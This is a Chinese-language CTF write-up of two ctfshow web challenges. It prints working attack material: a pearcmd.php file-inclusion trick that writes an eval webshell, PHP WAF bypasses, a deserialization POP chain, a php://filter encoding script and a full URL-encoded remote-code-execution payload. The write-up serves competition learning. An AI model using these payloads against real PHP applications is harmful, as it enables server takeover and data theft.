CTFshow元旦水友赛部分wp-web

Eazy_include

首先进来先看一下源代码

1
2
3
4
5
6
7
8
9
<?php      
function waf($path){    
	$path = str_replace(".","",$path);       
	return preg_match("/^[a-z]+/",$path);   
	}      
if(waf($_POST[1])){       
include "file://".$_POST[1];   

} 

可以看到这里是一个文件包含并且使用了file伪协议进行读传参的文件,但是这里设置了一个waf将换为空(本来以为是要绕过这个玩意看了一堆特性),然后这里就可以牵扯到之前打ACTF2023时候的那个pearcmd,也就是包含一个pearcmd文件然后写入,可以写shell或者你可以直接把文件内容直接cp到另外一个文件里面(前提要有权限)。 首先包含, POST传参: 1=localhost/usr/local/lib/php/pearcmd.php 然后请求的地址: /?+config-create+/<?=@eval($_POST['2']);die();?>+/tmp/delete 也就是写进了一个小马进入当前目录shell.php下面

/img/ctfshow-yuandan/y1.png
然后连一下
/img/ctfshow-yuandan/y2.png
查看flag ctfshow{38472987-4228-48f8-9a35-cb46010b64c9}

Eazy_web

进来可以看见是一个反序列化

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
开胃小菜,就让我成为签到题叭 
<?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{
    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

可以看见这里有两个waf在入口,

1
2
3
4
5
6
7
function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

对参数进行正则匹配(匹配了a-z大小写),如果匹配到字母则退出并回显waf1 然后传入的时候是$REQUEST ,有一个特性。这里我们可以做一个测试

1
2
3
4
<?php
$a = $_REQUEST;
var_dump($a);
?>

当我们使用GET进行传参的时候便输出

1
array(1) { ["a"]=> string(1) "2" }

当再使用POST的时候

1
array(2) { ["a"]=> string(1) "2" ["b"]=> string(1) "1" }

那么如果我让GET和PPOST进行同时传同一个参数就是(GET的值为2,POST的值为10000):

1
array(1) { ["a"]=> string(5) "10000" }

可以看见这里是直接获取了post的参数,也就是他的特性就是当变量名相同的时候会先获取POST的内容 那么这个地方就可以利用这个特性绕过

1
2
3
4
function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2 调用处是waf2($_SERVER['QUERY_STRING']);,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}
  • 利用了substr_count进行计算base64出现的次数 要求base64的出现次数不能大于一次,然后进行一些正则

链子比较简单:

1
ctf() __destruct -> show() __call -> Chu0_write __toString

基础的pop:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
 
class ctf{
    public $h1;
    public $h2;
 
}
 
class show{
 
}
 
class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}
 
$a=new ctf();
$a->h1=new show();
$a->h2=[[2=>new Chu0_write()]];  //利用preg_match触发
 
echo serialize($a);

这样就到了RCE的地方了 接下来的构造可以看一下这篇文章: https://tttang.com/archive/1395/#toc_garbage-string 这里放出一个转化的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
 
$cmd ='system';
 
$payload = iconv('utf-8', 'utf-16', base64_encode($cmd));
 
file_put_contents('payload.txt', quoted_printable_encode($payload));  

$result = file_get_contents('payload.txt');
 
$result = preg_replace('/=\r\n/', '', $result);
 
echo $result;

这里为什么这么写看完上面的文章就知道,是为了利用base64的正则过程搭配iconv的编码转化来构造出自己想要的东西,这里指的就是system了 然后后面输入的时候把它反过来即可 也就是:

1
name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

从而让后面的chu0拼接后形成system 最后读一下环境变量即可 playload: GET :?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env

POST:show[show.show=1&name=1&chu0=1&cmd=1 (关于为什么这里的下划线要换成[这个我前面的文章也有写到过)

这个是以前的题目了,github上面都有源码 https://blog.csdn.net/m0_73512445/article/details/134879829

参考文章: https://blog.csdn.net/m0_64016126/article/details/135368226